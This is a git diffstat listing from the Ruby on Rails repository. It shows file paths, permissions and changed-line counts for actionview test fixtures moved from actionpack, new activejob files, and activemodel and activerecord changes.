-rw-r--r--actionview/test/fixtures/developers_projects.yml (renamed from actionpack/test/fixtures/developers_projects.yml)0
-rw-r--r--actionview/test/fixtures/digestor/comments/_comment.html.erb (renamed from actionpack/test/fixtures/digestor/comments/_comment.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/comments/_comments.html.erb (renamed from actionpack/test/fixtures/digestor/comments/_comments.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/events/_event.html.erb (renamed from actionpack/test/fixtures/digestor/events/_event.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/level/_recursion.html.erb1
-rw-r--r--actionview/test/fixtures/digestor/level/below/_header.html.erb (renamed from actionpack/test/fixtures/digestor/level/below/_header.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/level/below/index.html.erb (renamed from actionpack/test/fixtures/digestor/level/below/index.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/level/recursion.html.erb1
-rw-r--r--actionview/test/fixtures/digestor/messages/_form.html.erb (renamed from actionpack/test/fixtures/digestor/messages/_form.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/_header.html.erb (renamed from actionpack/test/fixtures/digestor/messages/_header.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/_message.html.erb (renamed from actionpack/test/fixtures/digestor/messages/_message.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/actions/_move.html.erb (renamed from actionpack/test/fixtures/digestor/messages/actions/_move.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/edit.html.erb (renamed from actionpack/test/fixtures/digestor/messages/edit.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/index.html.erb (renamed from actionpack/test/fixtures/digestor/messages/index.html.erb)0
-rw-r--r--actionview/test/fixtures/digestor/messages/new.html+iphone.erb15
-rw-r--r--actionview/test/fixtures/digestor/messages/show.html.erb14
-rw-r--r--actionview/test/fixtures/fun/games/_game.erb (renamed from actionpack/test/fixtures/fun/games/_game.erb)0
-rw-r--r--actionview/test/fixtures/fun/games/hello_world.erb1
-rw-r--r--actionview/test/fixtures/fun/serious/games/_game.erb (renamed from actionpack/test/fixtures/fun/serious/games/_game.erb)0
-rw-r--r--actionview/test/fixtures/games/_game.erb (renamed from actionpack/test/fixtures/games/_game.erb)0
-rw-r--r--actionview/test/fixtures/good_customers/_good_customer.html.erb1
-rw-r--r--actionview/test/fixtures/helpers/abc_helper.rb3
-rw-r--r--actionview/test/fixtures/helpers/helpery_test_helper.rb (renamed from actionpack/test/fixtures/helpers/helpery_test_helper.rb)0
-rw-r--r--actionview/test/fixtures/helpers_missing/invalid_require_helper.rb5
-rw-r--r--actionview/test/fixtures/layout_tests/alt/hello.erb (renamed from actionpack/test/fixtures/layout_tests/alt/hello.erb)0
-rw-r--r--actionview/test/fixtures/layouts/_column.html.erb2
-rw-r--r--actionview/test/fixtures/layouts/_customers.erb1
-rw-r--r--actionview/test/fixtures/layouts/_partial_and_yield.erb2
-rw-r--r--actionview/test/fixtures/layouts/_yield_only.erb1
-rw-r--r--actionview/test/fixtures/layouts/_yield_with_params.erb1
-rw-r--r--actionview/test/fixtures/layouts/streaming.erb4
-rw-r--r--actionview/test/fixtures/layouts/yield.erb2
-rw-r--r--actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb2
-rw-r--r--actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb2
-rw-r--r--actionview/test/fixtures/mascot.rb (renamed from actionpack/test/fixtures/mascot.rb)0
-rw-r--r--actionview/test/fixtures/mascots.yml (renamed from actionpack/test/fixtures/mascots.yml)0
-rw-r--r--actionview/test/fixtures/mascots/_mascot.html.erb (renamed from actionpack/test/fixtures/mascots/_mascot.html.erb)0
-rw-r--r--actionview/test/fixtures/multipart/bracketed_utf8_param5
-rw-r--r--actionview/test/fixtures/multipart/single_utf8_param5
-rw-r--r--actionview/test/fixtures/override/test/hello_world.erb (renamed from actionpack/test/fixtures/override/test/hello_world.erb)0
-rw-r--r--actionview/test/fixtures/override2/layouts/test/sub.erb (renamed from actionpack/test/fixtures/override2/layouts/test/sub.erb)0
-rw-r--r--actionview/test/fixtures/plain_text.raw (renamed from actionpack/test/fixtures/plain_text.raw)0
-rw-r--r--actionview/test/fixtures/plain_text_with_characters.raw (renamed from actionpack/test/fixtures/plain_text_with_characters.raw)0
-rw-r--r--actionview/test/fixtures/project.rb (renamed from actionpack/test/fixtures/project.rb)0
-rw-r--r--actionview/test/fixtures/projects.yml (renamed from actionpack/test/fixtures/projects.yml)0
-rw-r--r--actionview/test/fixtures/projects/_project.erb (renamed from actionpack/test/fixtures/projects/_project.erb)0
-rw-r--r--actionview/test/fixtures/public/.gitignore (renamed from actionpack/test/fixtures/blog_public/.gitignore)0
-rw-r--r--actionview/test/fixtures/public/elsewhere/cools.js (renamed from actionpack/test/fixtures/public/elsewhere/cools.js)0
-rw-r--r--actionview/test/fixtures/public/elsewhere/file.css (renamed from actionpack/test/fixtures/public/elsewhere/file.css)0
-rw-r--r--actionview/test/fixtures/public/foo/baz.css3
-rw-r--r--actionview/test/fixtures/public/javascripts/application.js (renamed from actionpack/test/fixtures/public/javascripts/application.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/bank.js (renamed from actionpack/test/fixtures/public/javascripts/bank.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/common.javascript (renamed from actionpack/test/fixtures/public/javascripts/common.javascript)0
-rw-r--r--actionview/test/fixtures/public/javascripts/controls.js (renamed from actionpack/test/fixtures/public/javascripts/controls.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/dragdrop.js (renamed from actionpack/test/fixtures/public/javascripts/dragdrop.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/effects.js (renamed from actionpack/test/fixtures/public/javascripts/effects.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/prototype.js (renamed from actionpack/test/fixtures/public/javascripts/prototype.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/robber.js (renamed from actionpack/test/fixtures/public/javascripts/robber.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/subdir/subdir.js (renamed from actionpack/test/fixtures/public/javascripts/subdir/subdir.js)0
-rw-r--r--actionview/test/fixtures/public/javascripts/version.1.0.js (renamed from actionpack/test/fixtures/public/javascripts/version.1.0.js)0
-rw-r--r--actionview/test/fixtures/public/stylesheets/bank.css (renamed from actionpack/test/fixtures/public/stylesheets/bank.css)0
-rw-r--r--actionview/test/fixtures/public/stylesheets/random.styles (renamed from actionpack/test/fixtures/public/stylesheets/random.styles)0
-rw-r--r--actionview/test/fixtures/public/stylesheets/robber.css (renamed from actionpack/test/fixtures/public/stylesheets/robber.css)0
-rw-r--r--actionview/test/fixtures/public/stylesheets/subdir/subdir.css (renamed from actionpack/test/fixtures/public/stylesheets/subdir/subdir.css)0
-rw-r--r--actionview/test/fixtures/public/stylesheets/version.1.0.css (renamed from actionpack/test/fixtures/public/stylesheets/version.1.0.css)0
-rw-r--r--actionview/test/fixtures/replies.yml (renamed from actionpack/test/fixtures/replies.yml)0
-rw-r--r--actionview/test/fixtures/replies/_reply.erb (renamed from actionpack/test/fixtures/replies/_reply.erb)0
-rw-r--r--actionview/test/fixtures/reply.rb (renamed from actionpack/test/fixtures/reply.rb)0
-rw-r--r--actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb1
-rw-r--r--actionview/test/fixtures/ruby_template.ruby2
-rw-r--r--actionview/test/fixtures/shared.html.erb1
-rw-r--r--actionview/test/fixtures/test/_200.html.erb (renamed from actionpack/test/fixtures/test/_200.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_b_layout_for_partial.html.erb (renamed from actionpack/test/fixtures/test/_b_layout_for_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb (renamed from actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb (renamed from actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_changing_priority.html.erb1
-rw-r--r--actionview/test/fixtures/test/_changing_priority.json.erb1
-rw-r--r--actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb (renamed from actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb)0
-rw-r--r--actionview/test/fixtures/test/_counter.html.erb1
-rw-r--r--actionview/test/fixtures/test/_customer.erb1
-rw-r--r--actionview/test/fixtures/test/_customer_greeting.erb1
-rw-r--r--actionview/test/fixtures/test/_customer_with_var.erb1
-rw-r--r--actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb1
-rw-r--r--actionview/test/fixtures/test/_first_json_partial.json.erb1
-rw-r--r--actionview/test/fixtures/test/_from_helper.erb (renamed from actionpack/test/fixtures/test/_from_helper.erb)0
-rw-r--r--actionview/test/fixtures/test/_json_change_priority.json.erb (renamed from guides/code/getting_started/app/mailers/.gitkeep)0
-rw-r--r--actionview/test/fixtures/test/_label_with_block.erb4
-rw-r--r--actionview/test/fixtures/test/_layout_for_block_with_args.html.erb (renamed from actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_layout_for_partial.html.erb3
-rw-r--r--actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb (renamed from actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_local_inspector.html.erb (renamed from actionpack/test/fixtures/test/_local_inspector.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_object_inspector.erb (renamed from actionpack/test/fixtures/test/_object_inspector.erb)0
-rw-r--r--actionview/test/fixtures/test/_one.html.erb (renamed from actionpack/test/fixtures/test/_one.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_partial.erb1
-rw-r--r--actionview/test/fixtures/test/_partial.html.erb1
-rw-r--r--actionview/test/fixtures/test/_partial.js.erb1
-rw-r--r--actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb1
-rw-r--r--actionview/test/fixtures/test/_partial_name_local_variable.erb1
-rw-r--r--actionview/test/fixtures/test/_partial_only.erb1
-rw-r--r--actionview/test/fixtures/test/_partial_with_layout.erb (renamed from actionpack/test/fixtures/test/_partial_with_layout.erb)0
-rw-r--r--actionview/test/fixtures/test/_partial_with_layout_block_content.erb (renamed from actionpack/test/fixtures/test/_partial_with_layout_block_content.erb)0
-rw-r--r--actionview/test/fixtures/test/_partial_with_layout_block_partial.erb (renamed from actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb)0
-rw-r--r--actionview/test/fixtures/test/_partial_with_only_html_version.html.erb (renamed from actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_partial_with_partial.erb2
-rw-r--r--actionview/test/fixtures/test/_raise.html.erb (renamed from actionpack/test/fixtures/test/_raise.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_raise_indentation.html.erb13
-rw-r--r--actionview/test/fixtures/test/_second_json_partial.json.erb1
-rw-r--r--actionview/test/fixtures/test/_two.html.erb (renamed from actionpack/test/fixtures/test/_two.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_utf8_partial.html.erb (renamed from actionpack/test/fixtures/test/_utf8_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/test/_utf8_partial_magic.html.erb (renamed from actionpack/test/fixtures/test/_utf8_partial_magic.html.erb)0
-rw-r--r--actionview/test/fixtures/test/basic.html.erb (renamed from actionpack/test/fixtures/test/basic.html.erb)0
-rw-r--r--actionview/test/fixtures/test/calling_partial_with_layout.html.erb1
-rw-r--r--actionview/test/fixtures/test/change_priority.html.erb2
-rw-r--r--actionview/test/fixtures/test/dont_pick_me (renamed from actionpack/test/fixtures/test/dont_pick_me)0
-rw-r--r--actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/test/greeting.xml.erb1
-rw-r--r--actionview/test/fixtures/test/hello.builder4
-rw-r--r--actionview/test/fixtures/test/hello/hello.erb1
-rw-r--r--actionview/test/fixtures/test/hello_world.da.html.erb (renamed from actionpack/test/fixtures/test/hello_world.da.html.erb)0
-rw-r--r--actionview/test/fixtures/test/hello_world.erb1
-rw-r--r--actionview/test/fixtures/test/hello_world.erb~ (renamed from actionpack/test/fixtures/test/hello_world.erb~)0
-rw-r--r--actionview/test/fixtures/test/hello_world.html+phone.erb1
-rw-r--r--actionview/test/fixtures/test/hello_world.pt-BR.html.erb (renamed from actionpack/test/fixtures/test/hello_world.pt-BR.html.erb)0
-rw-r--r--actionview/test/fixtures/test/hello_world.text+phone.erb1
-rw-r--r--actionview/test/fixtures/test/hello_world_with_partial.html.erb2
-rw-r--r--actionview/test/fixtures/test/html_template.html.erb1
-rw-r--r--actionview/test/fixtures/test/layout_render_file.erb (renamed from actionpack/test/fixtures/test/layout_render_file.erb)0
-rw-r--r--actionview/test/fixtures/test/layout_render_object.erb (renamed from actionpack/test/fixtures/test/layout_render_object.erb)0
-rw-r--r--actionview/test/fixtures/test/list.erb1
-rw-r--r--actionview/test/fixtures/test/malformed/malformed.en.html.erb~ (renamed from actionpack/test/fixtures/test/malformed/malformed.en.html.erb~)0
-rw-r--r--actionview/test/fixtures/test/malformed/malformed.erb~ (renamed from actionpack/test/fixtures/test/malformed/malformed.erb~)0
-rw-r--r--actionview/test/fixtures/test/malformed/malformed.html.erb~ (renamed from actionpack/test/fixtures/test/malformed/malformed.html.erb~)0
-rw-r--r--actionview/test/fixtures/test/malformed/malformed~1
-rw-r--r--actionview/test/fixtures/test/nested_layout.erb (renamed from actionpack/test/fixtures/test/nested_layout.erb)0
-rw-r--r--actionview/test/fixtures/test/nested_streaming.erb (renamed from actionpack/test/fixtures/test/nested_streaming.erb)0
-rw-r--r--actionview/test/fixtures/test/nil_return.erb1
-rw-r--r--actionview/test/fixtures/test/one.html.erb (renamed from actionpack/test/fixtures/test/one.html.erb)0
-rw-r--r--actionview/test/fixtures/test/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/test/render_file_with_locals.erb1
-rw-r--r--actionview/test/fixtures/test/render_file_with_locals_and_default.erb1
-rw-r--r--actionview/test/fixtures/test/render_partial_inside_directory.html.erb1
-rw-r--r--actionview/test/fixtures/test/render_two_partials.html.erb2
-rw-r--r--actionview/test/fixtures/test/streaming.erb (renamed from actionpack/test/fixtures/test/streaming.erb)0
-rw-r--r--actionview/test/fixtures/test/streaming_buster.erb (renamed from actionpack/test/fixtures/test/streaming_buster.erb)0
-rw-r--r--actionview/test/fixtures/test/sub_template_raise.html.erb (renamed from actionpack/test/fixtures/test/sub_template_raise.html.erb)0
-rw-r--r--actionview/test/fixtures/test/template.erb (renamed from actionpack/test/fixtures/test/template.erb)0
-rw-r--r--actionview/test/fixtures/test/update_element_with_capture.erb (renamed from actionpack/test/fixtures/test/update_element_with_capture.erb)0
-rw-r--r--actionview/test/fixtures/test/utf8.html.erb (renamed from actionpack/test/fixtures/test/utf8.html.erb)0
-rw-r--r--actionview/test/fixtures/test/utf8_magic.html.erb (renamed from actionpack/test/fixtures/test/utf8_magic.html.erb)0
-rw-r--r--actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb (renamed from actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/topic.rb (renamed from actionpack/test/fixtures/topic.rb)0
-rw-r--r--actionview/test/fixtures/topics.yml (renamed from actionpack/test/fixtures/topics.yml)0
-rw-r--r--actionview/test/fixtures/topics/_topic.html.erb (renamed from actionpack/test/fixtures/topics/_topic.html.erb)0
-rw-r--r--actionview/test/fixtures/translations/templates/array.erb (renamed from actionpack/test/fixtures/translations/templates/array.erb)0
-rw-r--r--actionview/test/fixtures/translations/templates/default.erb (renamed from actionpack/test/fixtures/translations/templates/default.erb)0
-rw-r--r--actionview/test/fixtures/translations/templates/found.erb (renamed from actionpack/test/fixtures/translations/templates/found.erb)0
-rw-r--r--actionview/test/fixtures/translations/templates/missing.erb (renamed from actionpack/test/fixtures/translations/templates/missing.erb)0
-rw-r--r--actionview/test/fixtures/with_format.json.erb (renamed from actionpack/test/fixtures/with_format.json.erb)0
-rw-r--r--actionview/test/lib/controller/fake_models.rb185
-rw-r--r--actionview/test/template/active_model_helper_test.rb (renamed from actionpack/test/template/active_model_helper_test.rb)0
-rw-r--r--actionview/test/template/asset_tag_helper_test.rb796
-rw-r--r--actionview/test/template/atom_feed_helper_test.rb349
-rw-r--r--actionview/test/template/capture_helper_test.rb219
-rw-r--r--actionview/test/template/compiled_templates_test.rb59
-rw-r--r--actionview/test/template/date_helper_i18n_test.rb148
-rw-r--r--actionview/test/template/date_helper_test.rb3228
-rw-r--r--actionview/test/template/dependency_tracker_test.rb196
-rw-r--r--actionview/test/template/digestor_test.rb312
-rw-r--r--actionview/test/template/erb/form_for_test.rb (renamed from actionpack/test/template/erb/form_for_test.rb)0
-rw-r--r--actionview/test/template/erb/helper.rb (renamed from actionpack/test/template/erb/helper.rb)0
-rw-r--r--actionview/test/template/erb/tag_helper_test.rb (renamed from actionpack/test/template/erb/tag_helper_test.rb)0
-rw-r--r--actionview/test/template/erb_util_test.rb107
-rw-r--r--actionview/test/template/form_collections_helper_test.rb459
-rw-r--r--actionview/test/template/form_helper_test.rb3384
-rw-r--r--actionview/test/template/form_options_helper_i18n_test.rb (renamed from actionpack/test/template/form_options_helper_i18n_test.rb)0
-rw-r--r--actionview/test/template/form_options_helper_test.rb1358
-rw-r--r--actionview/test/template/form_tag_helper_test.rb656
-rw-r--r--actionview/test/template/html_test.rb17
-rw-r--r--actionview/test/template/javascript_helper_test.rb69
-rw-r--r--actionview/test/template/log_subscriber_test.rb (renamed from actionpack/test/template/log_subscriber_test.rb)0
-rw-r--r--actionview/test/template/lookup_context_test.rb282
-rw-r--r--actionview/test/template/number_helper_test.rb197
-rw-r--r--actionview/test/template/output_safety_helper_test.rb35
-rw-r--r--actionview/test/template/partial_iteration_test.rb33
-rw-r--r--actionview/test/template/record_identifier_test.rb (renamed from actionpack/test/template/record_identifier_test.rb)0
-rw-r--r--actionview/test/template/record_tag_helper_test.rb117
-rw-r--r--actionview/test/template/render_test.rb586
-rw-r--r--actionview/test/template/resolver_patterns_test.rb31
-rw-r--r--actionview/test/template/sanitize_helper_test.rb35
-rw-r--r--actionview/test/template/streaming_render_test.rb108
-rw-r--r--actionview/test/template/tag_helper_test.rb166
-rw-r--r--actionview/test/template/template_error_test.rb20
-rw-r--r--actionview/test/template/template_test.rb200
-rw-r--r--actionview/test/template/test_case_test.rb378
-rw-r--r--actionview/test/template/test_test.rb92
-rw-r--r--actionview/test/template/testing/fixture_resolver_test.rb18
-rw-r--r--actionview/test/template/testing/null_resolver_test.rb (renamed from actionpack/test/template/testing/null_resolver_test.rb)0
-rw-r--r--actionview/test/template/text_helper_test.rb510
-rw-r--r--actionview/test/template/text_test.rb17
-rw-r--r--actionview/test/template/translation_helper_test.rb163
-rw-r--r--actionview/test/template/url_helper_test.rb798
-rw-r--r--actionview/test/tmp/.gitkeep (renamed from guides/code/getting_started/app/models/.gitkeep)0
-rw-r--r--activejob/.gitignore1
-rw-r--r--activejob/CHANGELOG.md1
-rw-r--r--activejob/MIT-LICENSE21
-rw-r--r--activejob/README.md131
-rw-r--r--activejob/Rakefile90
-rw-r--r--activejob/activejob.gemspec23
-rw-r--r--activejob/lib/active_job.rb37
-rw-r--r--activejob/lib/active_job/arguments.rb111
-rw-r--r--activejob/lib/active_job/base.rb66
-rw-r--r--activejob/lib/active_job/callbacks.rb146
-rw-r--r--activejob/lib/active_job/configured_job.rb16
-rw-r--r--activejob/lib/active_job/core.rb88
-rw-r--r--activejob/lib/active_job/enqueuing.rb77
-rw-r--r--activejob/lib/active_job/execution.rb42
-rw-r--r--activejob/lib/active_job/gem_version.rb15
-rw-r--r--activejob/lib/active_job/logging.rb102
-rw-r--r--activejob/lib/active_job/queue_adapter.rb35
-rw-r--r--activejob/lib/active_job/queue_adapters.rb52
-rw-r--r--activejob/lib/active_job/queue_adapters/backburner_adapter.rb36
-rw-r--r--activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb39
-rw-r--r--activejob/lib/active_job/queue_adapters/inline_adapter.rb23
-rw-r--r--activejob/lib/active_job/queue_adapters/qu_adapter.rb42
-rw-r--r--activejob/lib/active_job/queue_adapters/que_adapter.rb35
-rw-r--r--activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb54
-rw-r--r--activejob/lib/active_job/queue_adapters/resque_adapter.rb52
-rw-r--r--activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb45
-rw-r--r--activejob/lib/active_job/queue_adapters/sneakers_adapter.rb46
-rw-r--r--activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb40
-rw-r--r--activejob/lib/active_job/queue_adapters/test_adapter.rb46
-rw-r--r--activejob/lib/active_job/queue_name.rb51
-rw-r--r--activejob/lib/active_job/railtie.rb23
-rw-r--r--activejob/lib/active_job/test_case.rb7
-rw-r--r--activejob/lib/active_job/test_helper.rb218
-rw-r--r--activejob/lib/active_job/version.rb8
-rw-r--r--activejob/lib/rails/generators/job/job_generator.rb24
-rw-r--r--activejob/lib/rails/generators/job/templates/job.rb9
-rw-r--r--activejob/test/adapters/backburner.rb3
-rw-r--r--activejob/test/adapters/delayed_job.rb7
-rw-r--r--activejob/test/adapters/inline.rb1
-rw-r--r--activejob/test/adapters/qu.rb3
-rw-r--r--activejob/test/adapters/que.rb4
-rw-r--r--activejob/test/adapters/queue_classic.rb2
-rw-r--r--activejob/test/adapters/resque.rb2
-rw-r--r--activejob/test/adapters/sidekiq.rb2
-rw-r--r--activejob/test/adapters/sneakers.rb2
-rw-r--r--activejob/test/adapters/sucker_punch.rb2
-rw-r--r--activejob/test/cases/adapter_test.rb8
-rw-r--r--activejob/test/cases/argument_serialization_test.rb84
-rw-r--r--activejob/test/cases/callbacks_test.rb23
-rw-r--r--activejob/test/cases/job_serialization_test.rb15
-rw-r--r--activejob/test/cases/logging_test.rb105
-rw-r--r--activejob/test/cases/queue_naming_test.rb102
-rw-r--r--activejob/test/cases/queuing_test.rb44
-rw-r--r--activejob/test/cases/rescue_test.rb34
-rw-r--r--activejob/test/cases/test_case_test.rb14
-rw-r--r--activejob/test/cases/test_helper_test.rb226
-rw-r--r--activejob/test/helper.rb29
-rw-r--r--activejob/test/integration/queuing_test.rb47
-rw-r--r--activejob/test/jobs/callback_job.rb29
-rw-r--r--activejob/test/jobs/gid_job.rb8
-rw-r--r--activejob/test/jobs/hello_job.rb7
-rw-r--r--activejob/test/jobs/logging_job.rb10
-rw-r--r--activejob/test/jobs/nested_job.rb10
-rw-r--r--activejob/test/jobs/rescue_job.rb27
-rw-r--r--activejob/test/models/person.rb20
-rw-r--r--activejob/test/support/backburner/inline.rb8
-rw-r--r--activejob/test/support/delayed_job/delayed/backend/test.rb111
-rw-r--r--activejob/test/support/delayed_job/delayed/serialization/test.rb (renamed from guides/code/getting_started/lib/assets/.gitkeep)0
-rw-r--r--activejob/test/support/integration/adapters/backburner.rb38
-rw-r--r--activejob/test/support/integration/adapters/delayed_job.rb20
-rw-r--r--activejob/test/support/integration/adapters/inline.rb15
-rw-r--r--activejob/test/support/integration/adapters/qu.rb38
-rw-r--r--activejob/test/support/integration/adapters/que.rb37
-rw-r--r--activejob/test/support/integration/adapters/queue_classic.rb33
-rw-r--r--activejob/test/support/integration/adapters/resque.rb49
-rw-r--r--activejob/test/support/integration/adapters/sidekiq.rb57
-rw-r--r--activejob/test/support/integration/adapters/sneakers.rb90
-rw-r--r--activejob/test/support/integration/adapters/sucker_punch.rb6
-rw-r--r--activejob/test/support/integration/dummy_app_template.rb21
-rw-r--r--activejob/test/support/integration/helper.rb30
-rw-r--r--activejob/test/support/integration/jobs_manager.rb27
-rw-r--r--activejob/test/support/integration/test_case_helpers.rb48
-rw-r--r--activejob/test/support/job_buffer.rb19
-rw-r--r--activejob/test/support/que/inline.rb9
-rw-r--r--activejob/test/support/queue_classic/inline.rb23
-rw-r--r--activejob/test/support/sneakers/inline.rb12
-rw-r--r--activemodel/CHANGELOG.md105
-rw-r--r--activemodel/MIT-LICENSE2
-rw-r--r--activemodel/README.rdoc128
-rw-r--r--activemodel/Rakefile7
-rw-r--r--activemodel/activemodel.gemspec6
-rw-r--r--activemodel/examples/validations.rb29
-rw-r--r--activemodel/lib/active_model.rb8
-rw-r--r--activemodel/lib/active_model/attribute_methods.rb106
-rw-r--r--activemodel/lib/active_model/callbacks.rb48
-rw-r--r--activemodel/lib/active_model/conversion.rb27
-rw-r--r--activemodel/lib/active_model/deprecated_mass_assignment_security.rb21
-rw-r--r--activemodel/lib/active_model/dirty.rb133
-rw-r--r--activemodel/lib/active_model/errors.rb101
-rw-r--r--activemodel/lib/active_model/forbidden_attributes_protection.rb1
-rw-r--r--activemodel/lib/active_model/gem_version.rb15
-rw-r--r--activemodel/lib/active_model/lint.rb15
-rw-r--r--activemodel/lib/active_model/locale/en.yml13
-rw-r--r--activemodel/lib/active_model/model.rb24
-rw-r--r--activemodel/lib/active_model/naming.rb36
-rw-r--r--activemodel/lib/active_model/secure_password.rb90
-rw-r--r--activemodel/lib/active_model/serialization.rb18
-rw-r--r--activemodel/lib/active_model/serializers/json.rb14
-rw-r--r--[-rwxr-xr-x]activemodel/lib/active_model/serializers/xml.rb23
-rw-r--r--activemodel/lib/active_model/translation.rb2
-rw-r--r--activemodel/lib/active_model/validations.rb92
-rw-r--r--activemodel/lib/active_model/validations/absence.rb31
-rw-r--r--activemodel/lib/active_model/validations/acceptance.rb12
-rw-r--r--activemodel/lib/active_model/validations/callbacks.rb17
-rw-r--r--activemodel/lib/active_model/validations/clusivity.rb36
-rw-r--r--activemodel/lib/active_model/validations/confirmation.rb20
-rw-r--r--activemodel/lib/active_model/validations/exclusion.rb8
-rw-r--r--activemodel/lib/active_model/validations/format.rb42
-rw-r--r--activemodel/lib/active_model/validations/inclusion.rb13
-rw-r--r--activemodel/lib/active_model/validations/length.rb6
-rw-r--r--activemodel/lib/active_model/validations/numericality.rb71
-rw-r--r--activemodel/lib/active_model/validations/presence.rb6
-rw-r--r--activemodel/lib/active_model/validations/validates.rb18
-rw-r--r--activemodel/lib/active_model/validations/with.rb12
-rw-r--r--activemodel/lib/active_model/validator.rb27
-rw-r--r--activemodel/lib/active_model/version.rb12
-rw-r--r--activemodel/test/cases/attribute_methods_test.rb93
-rw-r--r--activemodel/test/cases/callbacks_test.rb8
-rw-r--r--activemodel/test/cases/conversion_test.rb22
-rw-r--r--activemodel/test/cases/deprecated_mass_assignment_security_test.rb16
-rw-r--r--activemodel/test/cases/dirty_test.rb121
-rw-r--r--activemodel/test/cases/errors_test.rb208
-rw-r--r--activemodel/test/cases/helper.rb12
-rw-r--r--activemodel/test/cases/model_test.rb53
-rw-r--r--activemodel/test/cases/naming_test.rb16
-rw-r--r--activemodel/test/cases/railtie_test.rb5
-rw-r--r--activemodel/test/cases/secure_password_test.rb207
-rw-r--r--activemodel/test/cases/serialization_test.rb34
-rw-r--r--activemodel/test/cases/serializers/json_serialization_test.rb76
-rw-r--r--[-rwxr-xr-x]activemodel/test/cases/serializers/xml_serialization_test.rb133
-rw-r--r--activemodel/test/cases/translation_test.rb47
-rw-r--r--activemodel/test/cases/validations/absence_validation_test.rb68
-rw-r--r--activemodel/test/cases/validations/acceptance_validation_test.rb8
-rw-r--r--activemodel/test/cases/validations/callbacks_test.rb21
-rw-r--r--activemodel/test/cases/validations/conditional_validation_test.rb50
-rw-r--r--activemodel/test/cases/validations/confirmation_validation_test.rb66
-rw-r--r--activemodel/test/cases/validations/exclusion_validation_test.rb18
-rw-r--r--activemodel/test/cases/validations/format_validation_test.rb36
-rw-r--r--activemodel/test/cases/validations/i18n_generate_message_validation_test.rb70
-rw-r--r--activemodel/test/cases/validations/i18n_validation_test.rb122
-rw-r--r--activemodel/test/cases/validations/inclusion_validation_test.rb55
-rw-r--r--activemodel/test/cases/validations/length_validation_test.rb121
-rw-r--r--activemodel/test/cases/validations/numericality_validation_test.rb67
-rw-r--r--activemodel/test/cases/validations/presence_validation_test.rb42
-rw-r--r--activemodel/test/cases/validations/validates_test.rb43
-rw-r--r--activemodel/test/cases/validations/validations_context_test.rb29
-rw-r--r--activemodel/test/cases/validations/with_validation_test.rb63
-rw-r--r--activemodel/test/cases/validations_test.rb106
-rw-r--r--activemodel/test/models/administrator.rb11
-rw-r--r--activemodel/test/models/automobile.rb12
-rw-r--r--activemodel/test/models/contact.rb17
-rw-r--r--activemodel/test/models/helicopter.rb4
-rw-r--r--activemodel/test/models/oauthed_user.rb11
-rw-r--r--activemodel/test/models/reply.rb6
-rw-r--r--activemodel/test/models/topic.rb2
-rw-r--r--activemodel/test/models/user.rb3
-rw-r--r--activemodel/test/models/visitor.rb1
-rw-r--r--activerecord/CHANGELOG.md1154
-rw-r--r--activerecord/MIT-LICENSE2
-rw-r--r--activerecord/README.rdoc29
-rw-r--r--activerecord/RUNNING_UNIT_TESTS31
-rw-r--r--activerecord/RUNNING_UNIT_TESTS.rdoc44
-rw-r--r--activerecord/Rakefile216
-rw-r--r--activerecord/activerecord.gemspec5
-rw-r--r--activerecord/examples/associations.pngbin40623 -> 0 bytes
-rw-r--r--activerecord/examples/performance.rb54
-rw-r--r--activerecord/examples/simple.rb8
-rw-r--r--activerecord/lib/active_record.rb16
-rw-r--r--activerecord/lib/active_record/aggregations.rb27
-rw-r--r--activerecord/lib/active_record/association_relation.rb22
-rw-r--r--activerecord/lib/active_record/associations.rb379
-rw-r--r--activerecord/lib/active_record/associations/alias_tracker.rb83
